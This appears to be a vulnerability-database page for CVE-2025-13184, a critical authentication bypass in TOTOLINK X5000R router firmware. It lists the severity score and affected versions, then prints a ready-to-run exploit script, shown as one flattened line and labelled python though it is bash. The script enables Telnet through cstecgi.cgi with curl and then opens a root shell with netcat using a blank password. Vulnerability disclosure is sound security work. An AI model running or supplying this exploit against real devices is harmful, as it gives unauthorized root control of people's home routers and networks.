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CVE-2025-13184 CVSS 9.8 CRITICAL

CVE-2025-13184

Published: 2025-12-10 13:16:03
Last Modified: 2025-12-19 19:27:20

Description

Unauthenticated Telnet enablement via cstecgi.cgi (auth bypass) leading to unauthenticated root login with a blank password on factory/reset X5000R V9.1.0u.6369_B20230113 (arbitrary command execution). Earlier versions that share the same implementation, may also be affected.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6369_b20230113:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:x5000r:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK X5000R V9.1.0u.6369_B20230113
TOTOLINK X5000R earlier versions with same implementation

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-13184 PoC - TOTOLINK X5000R Authentication Bypass via cstecgi.cgi # Target: TOTOLINK X5000R firmware V9.1.0u.6369_B20230113 TARGET_IP="$1" PORT="80" if [ -z "$TARGET_IP" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] Exploiting CVE-2025-13184 on $TARGET_IP" # Step 1: Enable Telnet service via cstecgi.cgi auth bypass curl -s -X POST "http://$TARGET_IP:$PORT/cgi-bin/cstecgi.cgi" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "{"topicurl":"set/TelenetEnable","TelenetEnable":"1"}" echo "[+] Telnet service enabled" # Wait for Telnet to start sleep 3 # Step 2: Login via Telnet with blank password echo "[+] Attempting Telnet login with blank password..." echo -e "\n" | nc -w 5 "$TARGET_IP" 23 & # Step 3: Verify root access echo "[+] Checking root access..." echo "id" | nc -w 5 "$TARGET_IP" 23 echo "[!] If successful, you should have root shell access"

References

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